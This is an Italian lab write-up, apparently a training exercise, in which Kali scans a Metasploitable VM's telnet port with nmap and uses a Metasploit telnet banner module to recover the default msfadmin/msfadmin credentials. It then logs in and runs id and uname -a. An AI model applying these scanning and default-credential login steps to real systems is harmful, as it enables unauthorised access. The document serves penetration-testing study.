

SFRUTTARE LA VULNERABILITA' DI TELNET

Innanzitutto, settiamo le configurazioni di rete come richiesto dall'esercizio, cioè Kali con IP 192.168.1.25 e Metasploitable con IP 192.168.1.40:

```
GNU nano 2.0.7      File: /etc/network/interfaces      Modified
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.1.40
netmask 255.255.255.0
network 192.168.1.0
broadcast 192.168.1.255
gateway 192.168.1.1
```

```
GNU nano 6.4
# This file describes the network in
# and how to activate them. For more

source /etc/network/interfaces.d/*

# The loopback network interface
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.1.25/24
gateway 192.168.1.1
```

Testiamo la comunicazione con il ping in tutte e due le macchine:

```
(kali㉿kali)-[~]
$ ping 192.168.1.40
PING 192.168.1.40 (192.168.1.40) 56(84) bytes of data.
 64 bytes from 192.168.1.40: icmp_seq=1 ttl=64 time=0.926 ms
 64 bytes from 192.168.1.40: icmp_seq=2 ttl=64 time=0.726 ms
 64 bytes from 192.168.1.40: icmp_seq=3 ttl=64 time=0.600 ms
 64 bytes from 192.168.1.40: icmp_seq=4 ttl=64 time=0.604 ms
 64 bytes from 192.168.1.40: icmp_seq=5 ttl=64 time=0.565 ms
```

```
msfadmin@metasploitable:~$ ping 192.168.1.25
PING 192.168.1.25 (192.168.1.25) 56(84) bytes of data.
 64 bytes from 192.168.1.25: icmp_seq=1 ttl=64 time=0.465 ms
 64 bytes from 192.168.1.25: icmp_seq=2 ttl=64 time=0.846 ms
 64 bytes from 192.168.1.25: icmp_seq=3 ttl=64 time=0.495 ms
 64 bytes from 192.168.1.25: icmp_seq=4 ttl=64 time=0.590 ms
 64 bytes from 192.168.1.25: icmp_seq=5 ttl=64 time=0.616 ms
 64 bytes from 192.168.1.25: icmp_seq=6 ttl=64 time=0.612 ms

--- 192.168.1.25 ping statistics ---
 6 packets transmitted, 6 received, 0% packet loss, time 5007ms
rtt min/avg/max/mdev = 0.465/0.604/0.846/0.122 ms
msfadmin@metasploitable:~$
```

Fatto ciò, con nmap andiamo ad effettuare lo scan -sV sulla porta 23 (Telnet per l'appunto) per vedere se la porta è aperta e per scoprire la versione:

```
(kali@kali)-[~]
$ nmap -sV -p 23 192.168.1.40
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-06 07:31 EST
Nmap scan report for 192.168.1.40
Host is up (0.0021s latency).

PORT      STATE SERVICE VERSION
23/tcp    open  telnet  Linux telnetd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Per poter sfruttare l'eventuale vulnerabilità usiamo Metasploit tramite [msfconsole](#); con [search telnet](#) andiamo a cercare gli exploit; quello che a noi interessa è il numero 35 "scanner/telnet/telnet_version", quindi facciamo partire usando il comando [use 35](#).

Settiamo le opzioni mancanti, in questo caso solamente [set rhosts 192.168.1.40](#), cioè la macchina che vogliamo attaccare, e facciamo partire l'exploit con, per l'appunto, [exploit](#):

```
msf6 > use 35
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):



| Name     | Current Setting | Required | Description                                                                                  |
|----------|-----------------|----------|----------------------------------------------------------------------------------------------|
| PASSWORD |                 | no       | The password for the specified username                                                      |
| RHOSTS   |                 | yes      | The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit |
| RPORT    | 23              | yes      | The target port (TCP)                                                                        |
| THREADS  | 1               | yes      | The number of concurrent threads (max one per host)                                          |
| TIMEOUT  | 30              | yes      | Timeout for the Telnet probe                                                                 |
| USERNAME |                 | no       | The username to authenticate as                                                              |



msf6 auxiliary(scanner/telnet/telnet_version) > set rhost 192.168.1.40
[-] Unknown datastore option: rhost. Did you mean RHOSTS?
msf6 auxiliary(scanner/telnet/telnet_version) > set rhosts 192.168.1.40
rhosts => 192.168.1.40
msf6 auxiliary(scanner/telnet/telnet_version) > exploit
```

Abbiamo intercettato quest'informazione che ci dice le credenziali per il login:

```
msfdev[at]metasploit.com\x0a\x0aLogin with msfadmin/msfadmin to get started\x0a\x0a\x0ametasploitable login:
```

Testiamo se le info sono vere: sempre su msfconsole digitiamo telnet seguito dall'indirizzo di Metasploitable; una volta connessi ci chiederà di effettuare il login, inseriamo i dati trovati tramite exploit che sono msfadmin sia per il nome utente che per la password:

```
msf6 > telnet 192.168.1.40
[*] exec: telnet 192.168.1.40

Trying 192.168.1.40 ...
Connected to 192.168.1.40.
Escape character is '^]'.

      _ _ _ _ _
     / _ _ _ _ \
    / _ _ _ _ \
   / _ _ _ _ \
  / _ _ _ _ \
 / _ _ _ _ \
/_ _ _ _ _ \

Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
Last login: Tue Dec  6 04:20:56 EST 2022 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$
```

Come possiamo vedere dall'immagine in basso, il login è stato effettuato con successo, facciamo un'ulteriore prova con il comando `uname -a` che ci dice su quale sistema operativo siamo:

```
msfadmin@metasploitable:~$ id
uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dsp),44(video),46(iso),47(scd),60(modem)
msfadmin@metasploitable:~$ uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
msfadmin@metasploitable:~$
```